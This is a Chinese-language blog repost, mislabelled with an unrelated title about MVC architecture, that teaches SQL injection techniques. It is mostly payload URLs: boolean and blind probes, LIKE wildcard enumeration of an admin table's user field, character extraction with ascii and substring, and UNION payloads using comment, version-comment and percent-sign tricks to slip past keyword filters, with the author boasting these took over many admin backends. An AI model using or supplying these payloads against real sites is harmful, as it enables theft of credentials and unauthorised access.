您的位置:首页 > 运维架构 > 网站架构

【从MVC框架看MVC架构的设计】

2015-04-22 11:29 281 查看
写本文的目的在于记录并且交流,欢迎各种大牛批评指正
传统的检测注射方法是通过:and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者 id=1+1 或id=2-1,等等本文的目的不是评判谁的检测方法实用,只是向大家推荐一些新的注射方式,可能早有人提及了首先说判断:Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null或: and 2<=3其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,<>等等 都可用于判断而对于blind sqlinjection,一般的注射的方法是:ascii(substring(password,1,1))=56,或者是 ord(mid(password,1,1))=56 等等而在sql中有个检索函数like,,我们可以通过table.column来直接锁定字段,这样可以直接抛弃select,from,where等关键字,避免过滤,看看'_'占位符的演示:)http://url/1.asp?string=wooden' and admin.user like '_' and '1'='1 falsehttp://url/1.asp?string=wooden' and admin.user like '__' and '1'='1 false...http://url/1.asp?string=wooden' and admin.user like '_____' and '1'='1 true这样可以直接精确字段,5个占位符=5个字段,而在like函数中我们可以通过 ‘-’符号来检索数据范围,例如:http://url/1.asp?string=wooden' and admin.user like '[0-9]____' and '1'='1 falsehttp://url/1.asp?string=wooden' and admin.user like '[a-z]____' and '1'='1 truehttp://url/1.asp?string=wooden' and admin.user like '[a-h]____' and '1'='1 truehttp://url/1.asp?string=wooden' and admin.user like '[a-b]____' and '1'='1 truehttp://url/1.asp?string=wooden' and admin.user like 'b____' and '1'='1 falsehttp://url/1.asp?string=wooden' and admin.user like 'a____' and '1'='1 true因此,可以确定admin表中user字段的第一个是a,后面的原理相同,通过范围取值来直接爆破数据还记得sum函数吧?可以直接套用来确定数据类型http://url/1.asp?string=wooden' and (sum(admin.user))=1 and '1'='1当然,也可以利用sql的一些内置函数:http://url/1.asp?string=wooden' and len(admin.user)>4 and '1'='1http://url/1.asp?string=wooden' and ascii(substring(admin.user,1,1))>100 and '1'='1同时,在witth error模式中可以直接通过' and (admin.user)=0 来获取数据但是此法有一鸡肋,就是只能针对当前查询语句的表和字段,所以一般比较适合后台登陆口的注射,配合上 having 1=1 (number) 或 d'having '1'='1 (string),曾帮我拿下不少后台:)而对于mysql 有一些新型的函数也可用,例如:find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1strcmp 例: strcmp(left('password',1), 0x56) = 1再说说union,对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4对于iis 可以通过%来绕过 例如:union selec%t 1,2,3,4-%--对于mysql却可以:union select 1&id=2,3&id=4ok 当过滤select时,union/**//*!select*/1,2,3,4或union/&&/s/**/elec/**/t/**/1,2,3,4甚至还可以union/**//*!5100select*/1&id=2,3&id=4 //5100为mysql的版本号同时当语句是多查询且无法注释后面语句时:例如 slect * from table where id = 1 and name = xxx ,我们可这么做:id=1+union/*&name=*/select+1,2在union注射中,必须让结果为flase,才可执行union,比如:and 1=2 union select xxxxxx可以这么做:id=wooden'/*!5100and*/ 1 is null union /*!5100select*/ xxxxx 这样既可以饶过大部分黑名单机制
本文来源于独自等待博客:http://www.waitalone.cn/ 原文地址:http://www.waitalone.cn/post/926.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: